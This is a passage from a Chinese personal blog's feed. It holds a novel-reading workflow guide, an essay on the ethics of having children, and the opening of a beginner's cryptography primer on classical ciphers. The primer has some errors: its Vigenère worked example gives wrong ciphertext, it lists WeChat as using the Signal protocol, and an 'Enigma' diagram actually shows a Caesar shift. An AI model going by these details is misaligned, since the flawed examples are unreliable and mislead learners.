句话讲清故事梗概，不剧透关键转折）；亮点推荐（这本书最独特的魅力，如人物塑造、反转设计、情感冲击）；适合人群（什么样的人会喜欢这本书）。</span><br><span class="line"></span><br><span class="line">[可选] 如果这是新对话，请先让我把读前的 3 个问题、读中的人物梳理粘贴给你，再基于这些内容完成上面的总结；如果我没有粘贴，就基于全书文本直接完成。</span><br></pre></td></tr></table></figure><h3 id="1-梳理人物关系与成长线"><a href="#1-梳理人物关系与成长线" class="headerlink" title="1. 梳理人物关系与成长线"></a>1. 梳理人物关系与成长线</h3><p>把主要人物列出来，画一张关系图；再为每个主要角色梳理一条成长线——他从故事开头到结尾，经历了什么，变成了什么，为什么。</p><h3 id="2-找到自己的共鸣点"><a href="#2-找到自己的共鸣点" class="headerlink" title="2. 找到自己的共鸣点"></a>2. 找到自己的共鸣点</h3><p>这一步很重要：<strong>把书和「你自己」连接起来，书才算真正读完。</strong></p><p>共鸣不只有一种，可以找三种：</p><ul><li><strong>「像我的角色」</strong>——在谁身上看到了自己？</li><li><strong>「我想成为的角色」</strong>——谁活成了我想要的样子？</li><li><strong>「我害怕成为的角色」</strong>——谁的结局是我最不想面对的？</li></ul><p>这三种共鸣找完，你对这本书的理解会立体很多。</p><h3 id="3-全书总结"><a href="#3-全书总结" class="headerlink" title="3. 全书总结"></a>3. 全书总结</h3><p>用自己的话写一遍全书总结：故事讲了什么、主线副线怎么交织、结局如何收束。注意：是<strong>用自己的话</strong>，不是复述简介。</p><h3 id="4-收集金句"><a href="#4-收集金句" class="headerlink" title="4. 收集金句"></a>4. 收集金句</h3><p>把阅读中划线的句子整理出来，挑出最让你震撼、最有共鸣的几句，单独存起来。金句是这本书留给你的「可携带资产」，以后引用、写作、发朋友圈都用得上。</p><h3 id="5-输出——把书讲给别人听"><a href="#5-输出——把书讲给别人听" class="headerlink" title="5. 输出——把书讲给别人听"></a>5. 输出——把书讲给别人听</h3><p>最后一步，向他人讲述整个故事 + 推荐这本书的亮点。形式不限：</p><ul><li>写一篇读书笔记&#x2F;书评</li><li>向朋友口头安利</li><li>发一条社交动态</li><li>写「我同意&#x2F;不同意作者什么」（批判性输出，比单纯复述更有价值）</li><li>把这本书和同类作品对比（比如两本推理小说手法差异在哪）</li></ul><h2 id="五、一页纸速查清单"><a href="#五、一页纸速查清单" class="headerlink" title="五、一页纸速查清单"></a>五、一页纸速查清单</h2><p>每次读小说前，把这张清单过一遍：</p><p><strong>读前（10 分钟）</strong></p><ul><li><input disabled="" type="checkbox"> 我为什么读这本小说？（想获得什么：逻辑&#x2F;共情&#x2F;审美&#x2F;成长？）</li><li><input disabled="" type="checkbox"> 看完目录，建立全书地图</li><li><input disabled="" type="checkbox"> 了解作者与背景</li><li><input disabled="" type="checkbox"> 写下 3 个想在书中得到答案的问题</li></ul><p><strong>读中（全程）</strong></p><ul><li><input disabled="" type="checkbox"> 带着 3 个问题读</li><li><input disabled="" type="checkbox"> 有疑惑就停下来想&#x2F;记&#x2F;问</li><li><input disabled="" type="checkbox"> 划线、写批注，笔记贯穿全程</li><li><input disabled="" type="checkbox"> 每章结束用自己的话复述一遍（费曼）</li></ul><p><strong>读后（30 分钟）</strong></p><ul><li><input disabled="" type="checkbox"> 检验 3 个问题是否被解答</li><li><input disabled="" type="checkbox"> 梳理人物关系 + 成长线</li><li><input disabled="" type="checkbox"> 找三种共鸣：像我的 &#x2F; 想成为的 &#x2F; 害怕成为的</li><li><input disabled="" type="checkbox"> 写全书总结</li><li><input disabled="" type="checkbox"> 整理金句</li><li><input disabled="" type="checkbox"> 输出：讲给别人听 &#x2F; 写书评 &#x2F; 对比同类作品</li></ul><hr><p>读小说不是消遣，是一次低成本的人生模拟。流程化的意义在于：同样的时间投入，你能从书里拿走更多。</p><p>下次翻开书之前，记得先问自己那三个问题。</p>]]>
    </content>
    <id>https://misaka10013.cn/p/2002144968.html</id>
    <link href="https://misaka10013.cn/p/2002144968.html"/>
    <published>2026-08-13T09:21:20.000Z</published>
    <summary>
      <![CDATA[<p>很多人读小说是「打开就翻，翻完就忘」。读完一本几十万字的书，问自己记住了什么，往往只剩一个模糊的情节梗概。</p>
<p>问题不在读得太少，而在读得<strong>太被动</strong>。</p>
<p>这篇文章是我整理的一份「小说阅读操作指南」——从翻开书之前的心理准备，到阅读中的具体动作，再到读完之后的总结输出，把整条流程固定下来。以后每次读小说，都可以照着这份流程走一遍。</p>]]>
    </summary>
    <title>小说阅读操作指南：从翻开到读透的完整流程</title>
    <updated>2026-09-04T07:43:13.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="https://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="育儿" scheme="https://misaka10013.cn/tags/%E8%82%B2%E5%84%BF/"/>
    <category term="反思" scheme="https://misaka10013.cn/tags/%E5%8F%8D%E6%80%9D/"/>
    <category term="人生" scheme="https://misaka10013.cn/tags/%E4%BA%BA%E7%94%9F/"/>
    <content>
      <![CDATA[<p>育儿这个议题，大概是从25年我结婚后，开始思考的。<br>一开始，我考虑的是必要性，后来开始思考育儿这个行为的合理性，目前我感觉我已经开始思考这个行为的正当性了。</p><p>必要性。习惯了解决问题的工程师思路，对于一个行为，往往首先思考的就是这个需求是否有必要。本文不是主要讨论这个，所以今天我们跳过。<br>合理性，是指这个行为是否合理，具备可行空间。也不是我们今天讨论的重点。<br>正当性，则是指，我们有这个权利做出这样的行为吗？</p><p>比如，对于育儿这个事情的参与人而言，公平正当吗？<br>对女性的伤害是一个方面，对子女自身是否想降临这个世界的意愿，是否也是一个应该严格思考的方向？</p><p>所以我开始反思，自己作为一个儿女，对于降临到这个世界，如果有选择，愿意吗？</p><p>我反思我的人生，我觉得是有偶尔那非常专注，很开心快乐的时光的，比如初高中时全身心的打篮球的时候，全身心的欣赏小说和动漫的时候。比如大学时和社团同好们为同一个目标去创造创意和推进活动。比如我和我老婆休长假，无忧无虑的旅游的时候，我照顾我老婆的时候。<br>快乐是有的，如果回忆着这些快乐的画面，我觉得来人世间一圈是值得的。</p><p>但我又想，我看到这些快乐的时光太少了。我的整个人生，如果让我自己总结，那大概就是，压抑的时光占了大多数时候。压抑，是指什么状态呢。大概就是，不轻松。比如小时候，会被要求着要认真读书，被教育着要铁血男儿，自强独立有责任感。比如高中得想办法认真学习搞好成绩，得应对考试考证。比如毕业了要独立自主在社会生存，应对社交关系，应对工作压力等等。<br>很多时候，这种不轻松这不都是外部带来的，因为我从小到大，比较老实本分，我的家长和遇到的老师都很开明，对我鼓励居多，要求很少。我老婆也是个独立自主，很律己的人。我身边来自外部的压力应该比很多糟糕人生的人，都小得多。<br>但我依然觉得不轻松，我感觉，自身对自己的自律、自觉，本身也是一种压抑。<br>我大多数的人生就是在自己对自己的压抑中，度过了。<br>人生是用来放纵的吗？我自己没有答案。我其实已经比很多人幸运了。家人没有大病，我没有背负过房贷，家庭也过得去，也没遇到过什么经常超过8小时上班或者大小周单休的公司，也没有遇到奇葩的离谱领导和同事。<br>但即使这样，为啥我依然会觉得人生不轻松呢。<br>多少有些凡尔赛和身在福中不知福吧。</p><p>这样，我自己觉得不轻松的人生，大概会是我不愿意来到人生一转的一面。</p><p>当然，如果你问我，这样大多数时候不轻松和偶尔非常快乐的综合人生，是否愿意来一遍？我肯定会说完全没问题。因为我有行动力和勇气，也有抗压能力。不轻松，我扛得住。</p><p>但是如果你问我，是否愿意让孩子也体验这”大多数时候不轻松和偶尔非常快乐的综合人生”，我反而我觉得不值得。因为我的行动力、忍耐力和勇气，也不过是这么多年被捶打出来的东西。我能说自己愿意为了少许亮光而接受大多数不轻松的人生，是因为我已经被不轻松捶打的半生了，这样被捶打我我，根本不在意被再捶打多少年。</p><p>但是我凭什么来替另一个人来做决定，让对方来接受这样的捶打并最终被迫成为一个已经习惯追着萝卜行走的驴呢？更何况，这个人是自己的孩子。</p><p>近来，和我老婆聊到了这个话题。一开始她关注的重点在于我为啥肯定“人生不轻松”，可能是觉得这是一种看起来很消极的意识，而我平时并不是一个消极的人。<br>不过我得出这个结论，更多是我从客观的心理学的角度思考来的。因为人类心总是会有新的欲求，而欲求的满足与新欲求的诞生之间总有差距，所以我感觉，大多数人、大多数时候，其实得不到心灵欲求的平静，所以人总是疲于奔命，总是“不轻松”。这也正符合那一句“人生不如意，十之八九”。</p><p>而关于“父母有什么权力决定了让孩子到这个世界上并来体会这些”。这个问题，我和我老婆以及AI都没有想出来明确的答案。我老婆总结觉得，一类父母是属于满足自我需求的父母。她们是为了养老、从孩子身上满足自己的成就感或者精神寄托等等需求。另一类父母可能只是怀孕了，既来之，则安之。缘分到了，就选择生下来。</p><p>还有一类父母，她们可能有爱心，可能体会过爱，也充满着爱，相信世界是美好的，并主动生孩子，并用自己的爱希望孩子幸福。这种父母也可能会从前两类父母中转变过来。</p><p>父母有没有权力生孩子，细想之下，竟没有一个明确的答案。那我觉得，这恰恰说明这个问题的答案，大概率是否定的。</p><p>而作为父母真正能做的，则是通过对孩子负有的责任和爱，来对“把孩子带到这个世界上来”这件事情，进行补救吧。</p>]]>
    </content>
    <id>https://misaka10013.cn/p/186114236.html</id>
    <link href="https://misaka10013.cn/p/186114236.html"/>
    <published>2026-08-07T17:45:00.000Z</published>
    <summary>
      <![CDATA[<p>育儿这个议题，大概是从25年我结婚后，开始思考的。<br>一开始，我考虑的是必要性，后来开始思考育儿这个行为的合理性，目前我感觉我已经开始思考这个行为的正当性了。</p>
<p>必要性。习惯了解决问题的工程师思路，对于一个行为，往往首先思考的就是这个需求是否有必要。本文不是主要讨论这个，所以今天我们跳过。<br>合理性，是指这个行为是否合理，具备可行空间。也不是我们今天讨论的重点。<br>正当性，则是指，我们有这个权利做出这样的行为吗？</p>
<p>比如，对于育儿这个事情的参与人而言，公平正当吗？<br>对女性的伤害是一个方面，对子女自身是否想降临这个世界的意愿，是否也是一个应该严格思考的方向？</p>]]>
    </summary>
    <title>从育儿到反思人生</title>
    <updated>2026-08-19T01:59:28.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="https://misaka10013.cn/categories/knowledge-base/"/>
    <category term="密码学" scheme="https://misaka10013.cn/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
    <category term="加密" scheme="https://misaka10013.cn/tags/%E5%8A%A0%E5%AF%86/"/>
    <category term="解密" scheme="https://misaka10013.cn/tags/%E8%A7%A3%E5%AF%86/"/>
    <content>
      <![CDATA[<blockquote><p><strong>📌 本文定位：</strong> 这是一份面向初学者的加密解密领域知识库全景图。读完本文，你将理解密码学<strong>从古至今的完整脉络</strong>，掌握<strong>核心算法原理</strong>，并能够<strong>动手完成加密解密实操</strong>。文中所有专业术语都会在首次出现时以悬停提示<abbr title="鼠标悬停即可看到解释，试试看！">（像这样）</abbr>的方式给出解释，重要论文和资料会附上原文链接，方便你跳转扩展阅读。</p></blockquote><hr><h2 id="第一章-加密解密领域概览"><a href="#第一章-加密解密领域概览" class="headerlink" title="第一章 加密解密领域概览"></a>第一章 加密解密领域概览</h2><h3 id="1-1-一句话定义"><a href="#1-1-一句话定义" class="headerlink" title="1.1 一句话定义"></a>1.1 一句话定义</h3><p><strong><abbr title="加密(Encryption)：用密钥把可读的明文变成不可读的密文。解密(Decryption)：用密钥把密文恢复成明文。两者合称密码学(Cryptography)。">加密解密</abbr></strong> 是通过数学变换，让信息在开放信道中安全传输、在不可信环境中安全存储的科学。它解决的是数字世界的核心信任问题：<em>如何在不安全的通道上，安全地传递秘密？</em></p><h3 id="1-2-它解决的核心问题——CIA-三元组"><a href="#1-2-它解决的核心问题——CIA-三元组" class="headerlink" title="1.2 它解决的核心问题——CIA 三元组"></a>1.2 它解决的核心问题——CIA 三元组</h3><p>信息安全有三大基石，合称**<abbr title="CIA 三元组：机密性(Confidentiality)、完整性(Integrity)、真实性(Authenticity)，信息安全三大基石。与「美国中央情报局」同名纯属巧合。">CIA 三元组</abbr>**。下面的 SVG 图展示了三者的关系：</p><ul><li><strong>机密性（Confidentiality）</strong>：确保信息不被未授权的人看到。通过<strong>加密</strong>实现。</li><li><strong>完整性（Integrity）</strong>：确保信息在传输过程中没有被篡改。通过<strong>哈希函数</strong>或 **<abbr title="MAC(消息认证码)：密钥+数据一起哈希，得到带密码的校验码，验证完整性和来源。">MAC</abbr>**实现。</li><li><strong>真实性（Authenticity）</strong>：确保”对方确实是他声称的那个人”。通过**<abbr title="数字签名(Digital Signature)：用私钥生成只有持有人能产生的签名，公钥可验证。实现身份认证+完整性+不可抵赖。">数字签名</abbr>**实现。</li></ul><svg viewBox="0 0 680 220" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs>    <linearGradient id="cia1" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#6c5ce7"/><stop offset="100%" stop-color="#a29bfe"/></linearGradient>    <linearGradient id="cia2" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#0984e3"/><stop offset="100%" stop-color="#74b9ff"/></linearGradient>    <linearGradient id="cia3" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#00b894"/><stop offset="100%" stop-color="#55efc4"/></linearGradient>    <filter id="shadow1"><feDropShadow dx="0" dy="2" stdDeviation="4" flood-opacity="0.15"/></filter>  </defs>  <circle cx="180" cy="110" r="85" fill="url(#cia1)" opacity="0.12" filter="url(#shadow1)"/>  <circle cx="180" cy="110" r="45" fill="url(#cia1)" filter="url(#shadow1)"/>  <text x="180" y="100" text-anchor="middle" fill="#fff" font-size="22" font-weight="700">机密性</text>  <text x="180" y="122" text-anchor="middle" fill="#fff" font-size="13">Confidentiality</text>  <text x="180" y="150" text-anchor="middle" fill="#6c5ce7" font-size="12">通过加密实现</text>  <circle cx="340" cy="70" r="85" fill="url(#cia2)" opacity="0.12" filter="url(#shadow1)"/>  <circle cx="340" cy="70" r="45" fill="url(#cia2)" filter="url(#shadow1)"/>  <text x="340" y="60" text-anchor="middle" fill="#fff" font-size="22" font-weight="700">完整性</text>  <text x="340" y="82" text-anchor="middle" fill="#fff" font-size="13">Integrity</text>  <text x="340" y="110" text-anchor="middle" fill="#0984e3" font-size="12">通过哈希 / MAC 实现</text>  <circle cx="500" cy="110" r="85" fill="url(#cia3)" opacity="0.12" filter="url(#shadow1)"/>  <circle cx="500" cy="110" r="45" fill="url(#cia3)" filter="url(#shadow1)"/>  <text x="500" y="100" text-anchor="middle" fill="#fff" font-size="22" font-weight="700">真实性</text>  <text x="500" y="122" text-anchor="middle" fill="#fff" font-size="13">Authenticity</text>  <text x="500" y="150" text-anchor="middle" fill="#00b894" font-size="12">通过数字签名实现</text>  <text x="340" y="200" text-anchor="middle" fill="#b2bec3" font-size="14">CIA 三元组 —— 信息安全三大基石</text></svg><h3 id="1-3-最典型的应用场景"><a href="#1-3-最典型的应用场景" class="headerlink" title="1.3 最典型的应用场景"></a>1.3 最典型的应用场景</h3><p>下面的表格用生活场景帮你建立直觉。请注意在”使用的技术”列中，每个缩写我们都用 <code>&lt;abbr&gt;</code> 标签做了悬停提示——鼠标指上去就能看到全称和解释<sup id="fnref:1"><a href="#fn:1" rel="footnote">[1]</a></sup>。</p><table><thead><tr><th>场景</th><th>使用的技术</th><th>你每天都在用</th></tr></thead><tbody><tr><td><strong>HTTPS 网页浏览</strong></td><td>TLS 1.3：<abbr title="椭圆曲线临时 Diffie-Hellman 密钥交换">ECDHE</abbr> + <abbr title="AES-伽罗瓦计数模式（加密的同时校验完整性）">AES-GCM</abbr> + SHA-256</td><td>访问任何带🔒的网站</td></tr><tr><td><strong>即时通讯</strong></td><td>Signal 协议：<abbr title="扩展三重 Diffie-Hellman（初始密钥协商）">X3DH</abbr> + <abbr title="双棘轮算法（每条消息独立加密密钥）">Double Ratchet</abbr> + <abbr title="AES-密文块链接模式">AES-CBC</abbr> + <abbr title="基于哈希的消息认证码">HMAC</abbr></td><td>微信、WhatsApp</td></tr><tr><td><strong>在线支付</strong></td><td>TLS + <abbr title="三维安全协议（支付时的额外身份验证）">3D Secure</abbr> + <abbr title="支付令牌化(Tokenization)：用一次性令牌替代真实卡号发给商家，卡号不泄露。Apple Pay/微信支付底层均依赖此机制。">支付令牌化</abbr></td><td>支付宝、微信支付</td></tr><tr><td><strong>设备解锁</strong></td><td>AES 全盘加密 + 安全飞地（Secure Enclave，芯片内独立安全区域）</td><td>手机锁屏密码</td></tr><tr><td><strong>代码&#x2F;软件签名</strong></td><td><abbr title="RSA数字签名算法">RSA</abbr>&#x2F;<abbr title="椭圆曲线数字签名算法">ECDSA</abbr> + <abbr title="X.509 证书链（由根CA逐级签发的信任链）">X.509 证书链</abbr></td><td>下载 App 时的验证</td></tr><tr><td><strong>区块链&#x2F;加密货币</strong></td><td><abbr title="椭圆曲线数字签名算法">ECDSA</abbr>（比特币）&#x2F; <abbr title="爱德华兹曲线数字签名算法（比ECDSA更快更简洁）">EdDSA</abbr> + SHA-256</td><td>BTC&#x2F;ETH 交易</td></tr></tbody></table><p><strong>本节缩写速查表：</strong></p><table><thead><tr><th>缩写</th><th>全称</th><th>一句话解释</th></tr></thead><tbody><tr><td>TLS</td><td>Transport Layer Security</td><td>传输层安全协议，HTTPS 的底层加密标准</td></tr><tr><td>AES</td><td>Advanced Encryption Standard</td><td>全球最常用的对称加密算法</td></tr><tr><td>GCM</td><td>Galois&#x2F;Counter Mode</td><td>AES 的一种”认证加密”模式，加密同时校验完整性</td></tr><tr><td>CBC</td><td>Cipher Block Chaining</td><td>AES 的一种传统模式，密文块链式关联</td></tr><tr><td>HMAC</td><td>Hash-based Message Authentication Code</td><td>基于哈希的消息认证码</td></tr><tr><td>ECDHE</td><td>Elliptic Curve Diffie-Hellman Ephemeral</td><td>椭圆曲线临时密钥交换，提供<abbr title="前向安全(Forward Secrecy)：长期私钥泄露不影响历史通信，因为每次用临时密钥。TLS 1.3/Signal 标配。">前向安全</abbr></td></tr><tr><td>ECDSA</td><td>Elliptic Curve Digital Signature Algorithm</td><td>椭圆曲线数字签名算法</td></tr><tr><td>EdDSA</td><td>Edwards-curve Digital Signature Algorithm</td><td>爱德华兹曲线数字签名，比 ECDSA 更快更简洁</td></tr><tr><td>X3DH</td><td>Extended Triple Diffie-Hellman</td><td>Signal 协议的初始密钥协商算法</td></tr><tr><td>RSA</td><td>Rivest-Shamir-Adleman</td><td>第一个实用的非对称加密算法，以三位发明者命名</td></tr><tr><td>SHA</td><td>Secure Hash Algorithm</td><td>安全哈希算法系列</td></tr><tr><td>X.509</td><td>—</td><td>数字证书的国际标准格式</td></tr></tbody></table><blockquote><p><strong>💡 学习密码学的长期收益：</strong> 密码学是所有安全方向的基石。它能重塑你的思维——学会用「无法篡改」「零知识」「可验证」等视角重新审视数字世界。</p></blockquote><hr><h2 id="第二章-加密解密发展历史"><a href="#第二章-加密解密发展历史" class="headerlink" title="第二章 加密解密发展历史"></a>第二章 加密解密发展历史</h2><h3 id="2-1-古典密码时代（公元前-1900-年-—-19-世纪）"><a href="#2-1-古典密码时代（公元前-1900-年-—-19-世纪）" class="headerlink" title="2.1 古典密码时代（公元前 1900 年 — 19 世纪）"></a>2.1 古典密码时代（公元前 1900 年 — 19 世纪）</h3><p>密码学的历史几乎和人类文明一样长。从古埃及墓穴中非标准象形文字，到罗马军团的凯撒密码，隐藏秘密始终是人类的基本需求。</p><p><strong>约公元前 1900 年 · 古埃及：最早的密码记录</strong></p><p>一位书吏在贵族的墓穴铭文中使用了非标准的象形文字替代，被公认为最早的密码实践。这不是加密通信，而是一种仪式性的”隐藏书写”。</p><p><strong>约公元前 600 年 · 斯巴达密码棒（Scytale）</strong></p><p>最早的**<abbr title="转置密码(Transposition Cipher)：不改变字母本身，而是打乱字母顺序。与替换密码(改变字母本身)是两大类古典密码。">转置密码</abbr>**工具。将羊皮纸条缠绕在特定直径的木棒上书写，展开后字母顺序被打乱。只有使用相同直径木棒的接收者才能恢复原文——木棒直径就是”密钥”。</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/20260724213312584.png" alt="斯巴达密码棒"></p><p><strong>约公元前 50 年 · 凯撒密码（Caesar Cipher）</strong></p><p>尤利乌斯·凯撒在军事通信中将字母按固定偏移量替换。例如偏移3位：A→D, B→E, C→F……这是最经典的**<abbr title="单表替换密码(Monoalphabetic Substitution)：整段密文用同一张替换表。缺点是保留原文频率特征，易被频率分析破解。">单表替换密码</abbr>**。密钥空间仅25个（排除偏移0），属于极弱的加密。</p><p><strong>约公元 800 年 · 肯迪（Al-Kindi）：频率分析法</strong></p><p>阿拉伯数学家肯迪在《破译密码信息的手稿》中提出了<strong>频率分析</strong>方法，这是密码学从”手艺”走向”科学”的转折点。</p><details><summary><b>📖 频率分析怎么操作？（点击展开）</b></summary><p><strong>以英语为例，具体步骤：</strong></p><ol><li><strong>统计英语正常频率</strong>：在大量英语文本中，E 出现频率最高（约 12.7%），其次是 T（9.1%）、A（8.2%）、O（7.5%）、I（7.0%）、N（6.7%）……最常用的单词是 “THE”、”AND”、”THAT” 等。</li><li><strong>统计密文的字母频率</strong>：拿到一段密文后，数每个字母出现的次数，排出频率顺序。</li><li><strong>匹对频率排名</strong>：密文里出现最多的那个字母，大概率对应明文中的 E。密文里第二多的，大概率对应 T……以此类推。</li><li><strong>利用常见词辅助</strong>：如果密文里有三个字母的序列频繁重复出现，很可能就是 “THE”。英语中字母 “Q” 后面几乎总是跟 “U”，这也是破解线索。</li><li><strong>逐步还原替换表</strong>。</li></ol><blockquote><p><strong>关键洞察：</strong> 单表替换之所以能被破解，是因为它<strong>没有改变字母的频率分布</strong>——A 被替换成 D 后，密文里 D 的频率就等于原文里 A 的频率。攻击者抓住了这个统计规律。</p></blockquote></details><p><strong>1467 年 · 阿尔贝蒂（Alberti）：多表替换密码</strong></p><p>意大利文艺复兴巨匠莱昂·巴蒂斯塔·阿尔贝蒂发明了<strong>密码轮盘</strong>（一个带两组字母的机械转盘，转动到不同位置对应不同的替换表）和<strong>多表替换密码</strong><sup id="fnref:10"><a href="#fn:10" rel="footnote">[10]</a></sup>概念，被尊为”西方密码学之父”。</p><details><summary><b>📖 多表替换密码是如何对抗频率分析的？（点击展开）</b></summary><p><strong>核心思路：</strong> 加密过程中<strong>不断切换替换表</strong>，让同一个明文字母在不同的位置被加密成不同的密文字母，打乱频率分布。</p><p>举例：假设有表A（A→D, B→E, C→F…）和表B（A→X, B→Y, C→Z…），按”ABABB”的顺序循环使用——</p><ul><li>第1个字母用表A加密</li><li>第2个字母用表B加密</li><li>第3个字母用表A加密</li><li>……</li></ul><p>这样原文里的三个”A”可能分别变成 D、X、D——频率分析就失效了。</p></details><p><strong>1586 年 · 维吉尼亚密码（Vigenère Cipher）</strong></p><p>法国外交官布莱斯·德·维吉尼亚在《密码学条约》中描述了基于<strong>关键词</strong>的多表替换系统。</p><details><summary><b>📖 维吉尼亚密码怎么加密？（点击展开）</b></summary><p><strong>操作步骤：</strong></p><ol><li>选一个关键词，比如 “KEY”</li><li>把关键词反复重复，长度和明文对齐：<ul><li>明文：<code>A T T A C K A T D A W N</code></li><li>密钥：<code>K E Y K E Y K E Y K E Y</code></li></ul></li><li>每个明文字母按对应密钥字母的偏移量做凯撒替换：<ul><li>A + K（偏移10）→ K</li><li>T + E（偏移4）→ X</li><li>T + Y（偏移24）→ R</li><li>……</li><li>最终密文：<code>K X R K G I K X C K E L</code></li></ul></li></ol><p><strong>为什么曾被称作”不可破译的密码”？</strong> 因为同一个字母 A，配合不同密钥字母（K&#x2F;E&#x2F;Y），分别变成 K&#x2F;X&#x2F;K——频率分析完全失效。这个密码屹立了三个世纪，直到 19 世纪才被卡西斯基（Kasiski）和巴贝奇（Babbage）通过寻找密钥周期漏洞分别独立破解。</p></details><p><strong>1883 年 · 柯克霍夫原则（Kerckhoffs’s Principle）</strong></p><p>荷兰密码学家奥古斯特·柯克霍夫在《军事密码学》中提出密码学的核心假设：</p><blockquote><p><strong>密码系统的安全性应该完全依赖于密钥的保密，而非算法的保密。</strong></p></blockquote><details><summary><b>📖 为什么？（点击展开）</b></summary><p><strong>三条理由：</strong></p><ol><li><strong>算法藏不住。</strong> 在商业软件和互联网时代，程序代码（算法）迟早会被逆向工程分析出来——Windows 源码都能泄露，你凭什么觉得加密算法能永远保密？</li><li><strong>密钥可以随时换。</strong> 如果泄露的是算法，整个系统作废，必须重新设计。但如果泄露的是密钥，只需换一把新密钥，系统继续运转。</li><li><strong>公开的算法经得起检验。</strong> AES、RSA 都公开了二十多年，全球密码学家日夜攻击都没破——这说明它们真安全。反之，「保密」的算法没经历过公开检验，往往是掩耳盗铃——自认为安全，实际漏洞一堆。</li></ol><p><strong>反面教材：</strong> CSS（DVD 内容扰乱系统）使用了保密的加密算法，2000 年被逆向出源码后瞬间崩溃，全球 DVD 都能随意复制。</p><p>这一原则至今仍是密码系统设计的黄金法则。</p></details><h3 id="2-2-机电密码时代（20-世纪初-—-1940-年代）"><a href="#2-2-机电密码时代（20-世纪初-—-1940-年代）" class="headerlink" title="2.2 机电密码时代（20 世纪初 — 1940 年代）"></a>2.2 机电密码时代（20 世纪初 — 1940 年代）</h3><p><strong>1918 年 · Arthur Scherbius 发明 Enigma</strong></p><p>德国工程师谢尔比乌斯发明了 Enigma 转子密码机。</p><details><summary><b>📖 Enigma 怎么工作？（点击展开，读完再看下面的图）</b></summary><p>Enigma 看起来像一台打字机，内部核心组件：</p><ul><li><strong>键盘 + 灯板</strong>：按下一个键，对应密文的灯泡亮起</li><li><strong>接线板（Plugboard）</strong>：用插线交换字母对（比如 A↔G、T↔Z），这是第一层替换</li><li><strong>3-4 个转子（Rotors）</strong>：每个转子内部有固定的替换接线（A→X、B→Y…），相当于多表替换的表。每次按键后最右边的转子转动一格，像里程表进位</li><li><strong>反射器（Reflector）</strong>：电流到达反射器后被”反射”回来，再次经过三个转子走回头路</li></ul><p><strong>完整流程（按下 A 键）：</strong></p><ol><li>电流从键盘 A → 接线板 → 转子1 → 转子2 → 转子3 → 反射器 → 转子3 → 转子2 → 转子1 → 接线板 → 灯泡 G 亮起</li><li>松开按键，转子3 转动一格。下次按 A 会输出完全不同的字母！</li></ol><p>密钥空间高达 10²³（1.58 亿亿亿），德军认为它绝对安全。</p></details><p>下面的 SVG 图展示了简化后的 Enigma 加密流程。注意电流经过反射器后会<strong>原路返回</strong>再经过三个转子——这个设计正是 Enigma 最致命的弱点所在：</p><svg viewBox="0 0 680 300" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <text x="60" y="30" font-size="15" font-weight="700" fill="#6c5ce7">凯撒密码（偏移=3）</text>  <text x="60" y="60" font-size="12" fill="#636e72">明文: </text>  <rect x="100" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="113" y="62" text-anchor="middle" font-size="12" font-family="monospace">A</text>  <rect x="130" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="143" y="62" text-anchor="middle" font-size="12" font-family="monospace">B</text>  <rect x="160" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="173" y="62" text-anchor="middle" font-size="12" font-family="monospace">C</text>  <text x="200" y="62" font-size="12" fill="#636e72">…</text>  <rect x="220" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="233" y="62" text-anchor="middle" font-size="12" font-family="monospace">X</text>  <rect x="250" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="263" y="62" text-anchor="middle" font-size="12" font-family="monospace">Y</text>  <rect x="280" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="293" y="62" text-anchor="middle" font-size="12" font-family="monospace">Z</text>  <defs><marker id="arr2" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#6c5ce7"/></marker></defs>  <line x1="113" y1="72" x2="143" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="143" y1="72" x2="173" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="173" y1="72" x2="203" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="233" y1="72" x2="113" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="263" y1="72" x2="143" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="293" y1="72" x2="173" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <text x="60" y="112" font-size="12" fill="#636e72">密文: </text>  <rect x="100" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="113" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">D</text>  <rect x="130" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="143" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">E</text>  <rect x="160" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="173" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">F</text>  <rect x="220" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="233" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">A</text>  <rect x="250" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="263" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">B</text>  <rect x="280" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="293" y="114" text-anchor="middle" font-size="12" font-family="monospace" 